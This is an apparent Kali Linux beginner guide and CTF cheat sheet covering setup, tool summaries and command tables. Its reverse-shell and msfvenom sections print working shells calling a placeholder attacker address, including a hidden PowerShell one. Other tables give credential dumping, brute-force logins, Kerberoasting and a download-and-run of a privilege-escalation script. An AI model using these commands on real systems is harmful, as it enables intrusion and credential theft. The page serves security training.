Kali Linux
The industry-standard penetration testing distribution. Everything you need to know to get started with Kali for CTF competitions and security research.

What Is Kali Linux?

Kali Linux is a Debian-based Linux distribution designed specifically for digital forensics, penetration testing, and security auditing. Maintained by Offensive Security, it comes pre-installed with over 600 security tools covering every phase of an engagement — from reconnaissance and enumeration to exploitation, post-exploitation, and reporting.

First released in 2013 as the successor to BackTrack Linux, Kali has become the de facto standard operating system for security professionals, ethical hackers, and CTF competitors worldwide. It is free, open source, and receives continuous updates.

Why Use Kali Linux?

600+ Pre-installed Tools
No need to manually install and configure individual tools. Kali bundles everything from nmap and Burp Suite to Ghidra and John the Ripper right out of the box.
Rolling Release Model
Kali follows a rolling release cycle, meaning tools and packages are continuously updated. You always have access to the latest versions without waiting for a major release.
Runs Anywhere
Install it on bare metal, run it in a VM (VMware, VirtualBox, Hyper-V), boot from USB, use the Docker image, or run it on a Raspberry Pi, WSL2, or cloud instances.
Massive Community
Extensive documentation, forums, training courses (OSCP, OSCE, OSWE), and a huge community of users sharing scripts, configurations, and knowledge.
CTF Ready
Most CTF writeups and walkthroughs assume a Kali environment. Having Kali means you can follow along with any guide without compatibility issues.

Where to Get Kali

Recommendation for beginners: Download the Pre-built VM for VirtualBox. It's the fastest way to get started — no installation required. Just import the .ova file and boot up.

Getting Started — First Steps

1
Update Everything
After first boot, always update your system:
sudo apt update && sudo apt full-upgrade -y
2
Change the Default Password
Default credentials are kali:kali. Change immediately:
passwd
3
Learn the Terminal
Most Kali tools are command-line based. Get comfortable with basic commands: ls, cd, cat, grep, find, chmod, ssh, pipes (|), and redirection (>, >>).
4
Explore the Tool Menu
Kali organizes tools by category in the application menu. Browse through Information Gathering, Vulnerability Analysis, Web Application Analysis, Password Attacks, etc. to see what's available.
5
Set Up Your Workspace
Create a working directory for CTFs: mkdir ~/ctf. Keep challenge files organized per competition. Install any additional tools you like with sudo apt install <package>.
6
Take Snapshots
If using a VM, take a snapshot of your clean, updated Kali. You can always roll back if something breaks during testing.

Essential Tools Reference

Nmap Recon
The gold standard for network scanning and port enumeration. Discovers open ports, running services, OS versions, and vulnerabilities.
nmap -sC -sV -oN scan.txt <target>
Gobuster Recon
Brute-force directory and file discovery on web servers. Essential for finding hidden endpoints, admin panels, and backup files.
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
Amass Recon
Subdomain enumeration and external asset discovery. Maps attack surfaces by finding subdomains through DNS, scraping, and APIs.
amass enum -d example.com
enum4linux Recon
Enumerates SMB shares, users, groups, and policies on Windows/Samba systems. Essential for Active Directory recon.
enum4linux -a <target>
Burp Suite Web
The most widely used web application security testing platform. Intercepts and modifies HTTP traffic, crawls sites, and scans for vulnerabilities. The Community edition is included in Kali.
burpsuite
SQLmap Web
Automates detection and exploitation of SQL injection flaws. Supports MySQL, PostgreSQL, Oracle, MSSQL, SQLite, and more. Dumps databases, reads files, and gains OS shell access.
sqlmap -u "http://target/page?id=1" --dbs
Nikto Web
Web server scanner that checks for dangerous files, outdated software, misconfigurations, and common vulnerabilities across 7,000+ tests.
nikto -h http://target
WPScan Web
WordPress vulnerability scanner. Enumerates plugins, themes, users, and known CVEs specific to WordPress installations.
wpscan --url http://target --enumerate vp,vt,u
Metasploit Framework Exploit
The world's most widely used penetration testing framework. Contains thousands of exploits, payloads, encoders, and post-exploitation modules for every platform.
msfconsole
Searchsploit Exploit
Offline mirror of Exploit-DB. Quickly search for known exploits by software name, version, or CVE — no internet needed.
searchsploit apache 2.4
John the Ripper Password
Fast, versatile password cracker supporting hundreds of hash formats (MD5, SHA, NTLM, bcrypt, etc.). Great for cracking hashes found in CTF challenges.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Hashcat Password
GPU-accelerated password cracker. Supports rule-based attacks, mask attacks, and combination attacks. Significantly faster than CPU-based crackers on supported hardware.
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Hydra Password
Online password brute-force tool. Attacks login pages over SSH, FTP, HTTP, SMB, RDP, and dozens of other protocols in parallel.
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target
Wireshark Network
The world's foremost network protocol analyzer. Capture and inspect live traffic or analyze pcap files from forensics challenges. Supports 3,000+ protocols.
wireshark
Responder Network
LLMNR/NBT-NS/MDNS poisoner and credential interceptor. Captures NTLMv2 hashes on the local network by answering broadcast name resolution queries.
sudo responder -I eth0
Aircrack-ng Wireless
Complete suite for auditing wireless networks. Monitor, capture, and crack WEP/WPA/WPA2 handshakes. Includes airodump-ng, aireplay-ng, and related tools.
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
Volatility Forensics
Memory forensics framework. Analyze RAM dumps to extract processes, network connections, registry hives, passwords, and malware artifacts.
vol.py -f memory.dmp --profile=Win7SP1x64 pslist
Binwalk Forensics
Firmware analysis tool that scans binary files for embedded files, file signatures, and compressed archives. Indispensable for steganography and forensics CTF challenges.
binwalk -e suspicious_file.bin
Steghide Forensics
Steganography tool for hiding and extracting data within JPEG and BMP images. Common in stego-themed CTF challenges.
steghide extract -sf image.jpg
Ghidra Reverse
NSA's open-source reverse engineering suite. Decompiles binaries to C-like pseudocode. Supports x86, ARM, MIPS, and many more architectures. The free alternative to IDA Pro.
ghidra
GDB + pwndbg Reverse
GNU Debugger enhanced with pwndbg/GEF for exploit development. Set breakpoints, inspect memory, trace execution, and develop buffer overflow exploits.
gdb -q ./binary
Radare2 Reverse
Advanced command-line reverse engineering framework. Disassembles, debugs, and patches binaries. Lightweight and scriptable.
r2 -A ./binary

CTF Tips for Kali Users

Unzip rockyou.txt
The famous password wordlist ships compressed. Unpack it before your first CTF:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
Install pwntools
The go-to Python library for binary exploitation CTFs. Handles connections, packing, ROP chains, and shellcode generation:
pip install pwntools
Install CyberChef Locally
CyberChef is a web-based data analysis tool perfect for quick encoding/decoding, XOR, Base64, and hash lookups. Run it offline for CTFs with no internet.
Keep Notes
Use a tool like CherryTree, Obsidian, or simple markdown files to document your approach for each challenge. Good notes help during the CTF and when writing writeups afterwards.
Network Your VM Properly
For CTFs that require VPN access (like HackTheBox or TryHackMe), make sure your Kali VM is set to NAT or Bridged networking, and import the .ovpn file with: sudo openvpn ctf.ovpn
Learn One-Liners
Master common reverse shells and enumeration one-liners. Keep a cheatsheet handy:
bash -i >& /dev/tcp/YOURIP/4444 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")'
Want to practice? Head to the Community Challenges section to try challenges created by other members, or visit Challenges to attempt the official ones!

Kali Linux Cheat Sheet

A comprehensive quick-reference for the commands and techniques you'll use most often in CTFs and penetration testing. Bookmark this page — it covers everything from basic Linux navigation to advanced exploitation one-liners.

Linux Fundamentals
CommandDescription
pwdPrint current working directory
ls -laList all files including hidden, with permissions
cd /path/to/dirChange directory
cp -r src dstCopy files/directories recursively
mv old newMove or rename files
rm -rf dir/Remove directory and contents recursively
mkdir -p a/b/cCreate nested directories
find / -name "*.txt" 2>/dev/nullFind files by name, suppress errors
find / -perm -4000 2>/dev/nullFind SUID binaries (privesc)
locate filenameFast file search using database (run updatedb first)
which nmapShow full path of a command
cat file.txtDisplay file contents
head -n 20 fileShow first 20 lines
tail -f /var/log/syslogFollow log output in real-time
less file.txtPaginated file viewer (q to quit)
grep -rni "password" .Recursive case-insensitive search with line numbers
grep -E "user|pass|token" fileSearch for multiple patterns (regex)
sort file | uniq -c | sort -rnCount unique lines, sorted by frequency
wc -l file.txtCount lines in a file
diff file1 file2Compare two files line by line
awk '{print $1}' filePrint first column of each line
sed 's/old/new/g' fileFind and replace text in file
cut -d':' -f1 /etc/passwdExtract first field (usernames)
tr 'A-Z' 'a-z' < fileConvert uppercase to lowercase
xargs -I{} command {}Pass stdin as arguments to command
Permissions & Users
CommandDescription
chmod 755 fileSet rwxr-xr-x permissions
chmod +x script.shMake file executable
chmod u+s binarySet SUID bit on binary
chown user:group fileChange file owner and group
whoamiCurrent username
idShow UID, GID, and group memberships
sudo -lList commands current user can sudo (privesc check)
cat /etc/passwdList all system users
cat /etc/shadowPassword hashes (requires root)
cat /etc/groupList all groups
getent passwdList users (including LDAP/NIS)
wShow who is logged in and what they're doing
lastShow last logins
Networking
CommandDescription
ip aShow all network interfaces and IPs
ip routeShow routing table
ss -tulnpShow listening ports with process info
netstat -antupActive connections with PIDs
ping -c 3 targetSend 3 ICMP echo requests
traceroute targetTrace packet route to target
dig example.com ANYDNS lookup — all record types
dig @ns axfr example.comAttempt DNS zone transfer
host -t mx example.comLookup MX records
whois example.comWHOIS registration lookup
curl -sv https://targetHTTP request with verbose headers
curl -X POST -d 'data' urlSend POST request with data
wget -r -np http://target/dir/Recursively download directory
nc -lvnp 4444Start netcat listener on port 4444
nc target 80Connect to target on port 80
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bashBind shell with socat
arp-scan -lDiscover hosts on local network
tcpdump -i eth0 -w capture.pcapCapture network traffic to file
ssh -L 8080:127.0.0.1:80 user@targetLocal port forward (tunnel)
ssh -D 9050 user@targetDynamic SOCKS proxy via SSH
sshuttle -r user@target 10.10.10.0/24VPN-like tunnel through SSH
proxychains nmap targetRun nmap through proxy chain
Nmap Scanning
CommandDescription
nmap -sn 10.10.10.0/24Ping sweep — discover live hosts
nmap -sC -sV -oA scan targetDefault scripts + version detection, save all formats
nmap -p- targetScan all 65535 TCP ports
nmap -sU -top-ports 100 targetUDP scan — top 100 ports
nmap -sS -T4 -Pn targetSYN stealth scan, fast, skip ping
nmap -O targetOS detection
nmap --script vuln targetRun all vulnerability detection scripts
nmap --script smb-enum-shares targetEnumerate SMB shares
nmap --script http-enum targetEnumerate web directories/files
nmap -sV --script=banner targetGrab service banners
nmap -p 445 --script smb-vuln* targetCheck for SMB vulnerabilities (EternalBlue, etc.)
Web Application Testing
CommandDescription
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt -x php,html,txtDirectory brute-force with file extensions
gobuster dns -d target.com -w subdomains.txtSubdomain brute-force
gobuster vhost -u http://target -w vhosts.txtVirtual host discovery
ffuf -u http://target/FUZZ -w wordlist.txt -mc 200,301Fast web fuzzer with status code filter
ffuf -u http://target -H "Host: FUZZ.target" -w subs.txt -fs 0Subdomain fuzzing via Host header
feroxbuster -u http://target -w wordlist.txt -x php -d 2Recursive directory brute-force (depth 2)
dirb http://target /usr/share/dirb/wordlists/big.txtClassic directory scanner
wfuzz -c -z file,wordlist.txt --hc 404 http://target/FUZZWeb fuzzer with 404 filtering
nikto -h http://target -o report.html -Format htmlWeb server scan with HTML report
whatweb http://targetIdentify web technologies, CMS, frameworks
wafw00f http://targetDetect Web Application Firewall (WAF)
sqlmap -u "http://target/page?id=1" --dbs --batchAuto SQL injection — enumerate databases
sqlmap -u "url" -D dbname --tablesList tables in a database
sqlmap -u "url" -D db -T table --dumpDump table contents
sqlmap -u "url" --os-shellAttempt OS shell via SQL injection
sqlmap -r request.txt --batchSQL injection from saved Burp request
commix -u "http://target/page?cmd=test"Automated command injection testing
xsser -u "http://target/search?q=test"Automated XSS detection
Password Attacks
CommandDescription
john --wordlist=rockyou.txt hash.txtCrack hashes with John + wordlist
john --show hash.txtShow cracked passwords
john --format=raw-md5 hash.txtSpecify hash format explicitly
unshadow passwd shadow > unshadowed.txtCombine passwd + shadow for John
hashcat -m 0 hash.txt rockyou.txtMD5 — mode 0
hashcat -m 100 hash.txt rockyou.txtSHA1 — mode 100
hashcat -m 1000 hash.txt rockyou.txtNTLM — mode 1000
hashcat -m 1800 hash.txt rockyou.txtsha512crypt ($6$) — mode 1800
hashcat -m 3200 hash.txt rockyou.txtbcrypt — mode 3200
hashcat -m 13100 hash.txt rockyou.txtKerberoast (TGS-REP) — mode 13100
hashcat -m 5600 hash.txt rockyou.txtNTLMv2 — mode 5600
hashcat -a 3 -m 0 hash.txt ?a?a?a?a?a?aBrute-force mask attack (6 chars)
hydra -l admin -P rockyou.txt ssh://targetBrute-force SSH login
hydra -l admin -P rockyou.txt target http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"Brute-force web login form
hydra -L users.txt -P pass.txt ftp://targetFTP brute-force with user + pass lists
hydra -l admin -P rockyou.txt rdp://targetRDP brute-force
hydra -l sa -P rockyou.txt target mssqlMSSQL brute-force
cewl http://target -d 3 -w custom_wordlist.txtGenerate wordlist from website content
crunch 6 8 abc123 -o wordlist.txtGenerate custom wordlist (6-8 chars)
hash-identifierIdentify hash type interactively
hashid hash_valueIdentify hash type from value
Reverse Shells & Payloads
CommandDescription
bash -i >& /dev/tcp/YOURIP/4444 0>&1Bash reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("YOURIP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'Python reverse shell
php -r '$sock=fsockopen("YOURIP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'PHP reverse shell
nc -e /bin/bash YOURIP 4444Netcat reverse shell (traditional)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOURIP 4444 >/tmp/fNetcat reverse shell (no -e)
perl -e 'use Socket;$i="YOURIP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'Perl reverse shell
ruby -rsocket -e'f=TCPSocket.open("YOURIP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Ruby reverse shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('YOURIP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"PowerShell reverse shell
python3 -c 'import pty;pty.spawn("/bin/bash")' then Ctrl+Zstty raw -echo;fgexport TERM=xtermUpgrade to full TTY
MSFvenom Payloads
CommandDescription
msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOURIP LPORT=4444 -f elf -o rev.elfLinux ELF reverse shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=YOURIP LPORT=4444 -f elf -o met.elfLinux Meterpreter
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOURIP LPORT=4444 -f exe -o rev.exeWindows EXE reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOURIP LPORT=4444 -f exe -o met.exeWindows Meterpreter
msfvenom -p php/reverse_php LHOST=YOURIP LPORT=4444 -f raw -o shell.phpPHP reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOURIP LPORT=4444 -f raw -o shell.jspJSP reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOURIP LPORT=4444 -f war -o shell.warWAR reverse shell
msfvenom -p cmd/unix/reverse_python LHOST=YOURIP LPORT=4444 -f rawPython reverse shell payload
msfvenom -p windows/shell_reverse_tcp LHOST=YOURIP LPORT=4444 -f asp -o shell.aspASP reverse shell
Metasploit Framework
CommandDescription
msfconsoleLaunch Metasploit
search type:exploit name:smbSearch for SMB exploits
use exploit/windows/smb/ms17_010_eternalblueSelect a module
show optionsDisplay required/optional settings
set RHOSTS targetSet target host
set LHOST youripSet listener IP
set PAYLOAD windows/x64/meterpreter/reverse_tcpSet payload
exploit / runExecute the exploit
sessions -lList active sessions
sessions -i 1Interact with session 1
backgroundBackground current session
use post/multi/recon/local_exploit_suggesterSuggest local privilege escalation exploits
Linux Privilege Escalation
CommandDescription
sudo -lCheck sudo permissions (first thing to check!)
find / -perm -4000 2>/dev/nullFind SUID binaries
find / -perm -2000 2>/dev/nullFind SGID binaries
find / -writable 2>/dev/null | grep -v procFind world-writable files
getcap -r / 2>/dev/nullFind binaries with capabilities
cat /etc/crontabCheck cron jobs
ls -la /etc/cron*List all cron directories
systemctl list-timersList active systemd timers
cat /etc/exportsCheck NFS shares (no_root_squash → root)
envCheck environment variables for secrets
cat /proc/versionKernel version (check for kernel exploits)
uname -aSystem info — kernel, architecture
ls -la /home/Check other users' home directories
historyCheck command history for credentials
cat ~/.bash_historyRead bash history file
find / -name "*.bak" -o -name "*.old" -o -name "*.conf" 2>/dev/nullFind config/backup files
ls -la /opt/ /var/backups/ /tmp/Check common directories for interesting files
wget http://YOURIP/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.shDownload and run LinPEAS (automated privesc scanner)
Windows Privilege Escalation
CommandDescription
whoami /allCurrent user, groups, privileges
systeminfoOS version, hotfixes, architecture
net userList local users
net localgroup administratorsList admin group members
cmdkey /listStored credentials
reg query HKLM /f password /t REG_SZ /sSearch registry for passwords
schtasks /query /fo LIST /vList scheduled tasks (verbose)
wmic service list briefList services
sc qc ServiceNameQuery service config (unquoted paths?)
icacls "C:\path\to\service.exe"Check file permissions
netstat -anoActive connections with PIDs
dir /s /b C:\*.txt C:\*.ini C:\*.cfg 2>nulSearch for config files
type C:\Users\user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtPowerShell history
winPEASx64.exeAutomated Windows privesc scanner
SMB & Active Directory
CommandDescription
smbclient -L //target -NList SMB shares (null session)
smbclient //target/share -U userConnect to SMB share
smbmap -H targetEnumerate share permissions
smbmap -H target -u user -p pass -r shareRecursively list share contents
crackmapexec smb target -u user -p passValidate credentials against SMB
crackmapexec smb target -u user -p pass --sharesList shares with credentials
crackmapexec smb target -u user -p pass -M spider_plusSpider all shares for files
enum4linux -a targetFull SMB/RPC enumeration
rpcclient -U '' -N targetNull session RPC connection
impacket-GetNPUsers domain/ -usersfile users.txt -dc-ip DCAS-REP Roast — get hashes without pre-auth
impacket-GetUserSPNs domain/user:pass -dc-ip DC -requestKerberoast — request TGS tickets
impacket-secretsdump domain/user:pass@targetDump SAM / NTDS.dit hashes
impacket-psexec domain/user:pass@targetRemote shell via SMB (admin required)
impacket-wmiexec domain/user:pass@targetRemote shell via WMI
evil-winrm -i target -u user -p passWinRM shell (port 5985)
bloodhound-python -c all -u user -p pass -d domain -ns DCCollect AD data for BloodHound
File Transfers
CommandDescription
python3 -m http.server 8080Start Python HTTP server
wget http://YOURIP:8080/file -O /tmp/fileDownload file with wget (Linux)
curl http://YOURIP:8080/file -o /tmp/fileDownload file with curl (Linux)
nc -lvnp 4444 < filenc YOURIP 4444 > fileTransfer via Netcat (sender → receiver)
Invoke-WebRequest -Uri http://YOURIP:8080/file -OutFile C:\temp\filePowerShell download
iwr http://YOURIP:8080/file -o C:\temp\filePowerShell download (short alias)
certutil -urlcache -split -f http://YOURIP:8080/file C:\temp\fileCertutil download (Windows)
scp file user@target:/tmp/fileSecure copy via SSH
base64 file > encoded.txtbase64 -d encoded.txt > fileBase64 encode/decode transfer
impacket-smbserver share . -smb2supportcopy \\YOURIP\share\file .SMB server via Impacket
Forensics & Steganography
CommandDescription
file mystery_fileIdentify file type from magic bytes
strings -n 8 fileExtract printable strings (min 8 chars)
strings -e l fileExtract 16-bit little-endian strings
xxd file | head -50Hex dump — first 50 lines
hexdump -C file | headHex + ASCII dump
binwalk fileScan for embedded files/signatures
binwalk -e fileExtract embedded files
binwalk --dd=".*" fileForce extract all detected types
foremost -i file -o output/Carve files from binary data
steghide info image.jpgCheck if image has hidden data
steghide extract -sf image.jpgExtract hidden data from image
stegseek image.jpg rockyou.txtBrute-force steghide password
zsteg image.pngDetect stego in PNG/BMP (LSB, etc.)
exiftool image.jpgRead/write metadata (EXIF, GPS, etc.)
pngcheck -v image.pngValidate PNG structure, check for errors
identify -verbose image.pngImageMagick — detailed image info
photorec image.ddRecover files from disk image
volatility -f mem.dmp imageinfoIdentify memory dump profile
volatility -f mem.dmp --profile=X pslistList processes from memory
volatility -f mem.dmp --profile=X filescanScan for file objects in memory
volatility -f mem.dmp --profile=X hashdumpExtract password hashes from memory
Reverse Engineering
CommandDescription
objdump -d binaryDisassemble binary
objdump -x binaryDisplay all headers
readelf -a binaryELF header info (sections, symbols)
nm binaryList symbols
ldd binaryList shared library dependencies
ltrace ./binaryTrace library calls
strace ./binaryTrace system calls
gdb -q ./binaryStart GDB in quiet mode
gdb: break mainSet breakpoint at main()
gdb: runRun the program
gdb: disas mainDisassemble main function
gdb: x/20wx $espExamine 20 words at stack pointer
gdb: info registersShow all register values
gdb: set {int}0xaddr = valueWrite value to memory address
gdb: pattern create 200Generate cyclic pattern (pwndbg/GEF)
gdb: pattern offset $eipFind offset to EIP overwrite
r2 -A ./binaryRadare2 — open with analysis
r2: aflList functions
r2: pdf @mainDisassemble main
r2: VV @mainVisual graph mode
checksec ./binaryCheck binary protections (NX, PIE, canary, RELRO)
ROPgadget --binary ./binaryFind ROP gadgets
one_gadget /lib/x86_64-linux-gnu/libc.so.6Find one-shot execve gadgets in libc
Cryptography
CommandDescription
echo -n "text" | md5sumMD5 hash
echo -n "text" | sha256sumSHA-256 hash
echo -n "text" | base64Base64 encode
echo "dGV4dA==" | base64 -dBase64 decode
echo -n "text" | xxd -pConvert to hex
echo "74657874" | xxd -r -pConvert hex to ASCII
openssl enc -aes-256-cbc -d -in file.enc -out file.decDecrypt AES-256-CBC file
openssl rsautl -decrypt -inkey priv.pem -in encrypted -out decryptedRSA decrypt with private key
openssl rsa -in key.pem -text -nooutDisplay RSA key details (n, e, d, p, q)
openssl x509 -in cert.pem -text -nooutRead X.509 certificate details
gpg -d encrypted.gpgDecrypt GPG file
gpg --import key.ascImport GPG key
python3 -c "from Crypto.Util.number import *; print(long_to_bytes(0x48656c6c6f))"Hex integer to bytes (pycryptodome)
python3 -c "print(int.from_bytes(b'Hello','big'))"Bytes to integer
rsactftool.py --publickey pub.pem --privateAttempt RSA key factoring (RsaCtfTool)
Pivoting & Tunneling
CommandDescription
ssh -L 8080:internal:80 user@pivotLocal port forward — access internal:80 via localhost:8080
ssh -R 8080:localhost:80 user@pivotRemote port forward — expose your port 80 on pivot:8080
ssh -D 9050 user@pivotSOCKS proxy on port 9050
sshuttle -r user@pivot 10.10.10.0/24Transparent tunnel to subnet
chisel server -p 8000 --reverseStart chisel server (on attacker)
chisel client YOURIP:8000 R:8080:127.0.0.1:80Chisel reverse port forward (on target)
chisel client YOURIP:8000 R:socksChisel reverse SOCKS proxy
ligolo-ng agent -connect YOURIP:11601 -retry -ignore-certLigolo agent on target
proxychains -q nmap -sT targetNmap through SOCKS proxy (TCP connect only)
socat TCP-LISTEN:8080,fork TCP:internal:80Simple port forward with socat
Useful One-Liners
CommandDescription
python3 -c 'import pty;pty.spawn("/bin/bash")'Spawn TTY shell
Ctrl+Zstty raw -echo;fgresetexport TERM=xtermstty rows 40 cols 160Upgrade to full interactive shell
python3 -m http.server 80Simple web server
ssh-keygen -t rsa -b 4096 -f id_rsaGenerate SSH key
for p in $(seq 1 65535); do (echo >/dev/tcp/target/$p) 2>/dev/null && echo "$p open"; donePort scan without nmap
for i in $(seq 1 254); do (ping -c 1 10.10.10.$i | grep "bytes from" &); donePing sweep without nmap
sudo gunzip /usr/share/wordlists/rockyou.txt.gzExtract rockyou wordlist
date -d @1609459200Convert epoch timestamp
python3 -c "import urllib.parse;print(urllib.parse.quote('string'))"URL encode a string
python3 -c "import urllib.parse;print(urllib.parse.unquote('%73%74%72'))"URL decode a string
echo "text" | tr 'A-Za-z' 'N-ZA-Mn-za-m'ROT13 encode/decode
md5sum file && sha1sum file && sha256sum fileQuick checksum (MD5, SHA1, SHA256)
watch -n 1 'ls -la /tmp'Watch directory for changes
base64 -w 0 binary > b64.txtbase64 -d b64.txt > binaryBase64 file transfer
Bookmark this page! This cheat sheet covers the most common commands you'll need during CTF competitions. For tool-specific documentation, check the Essential Tools section above or visit each tool's official documentation.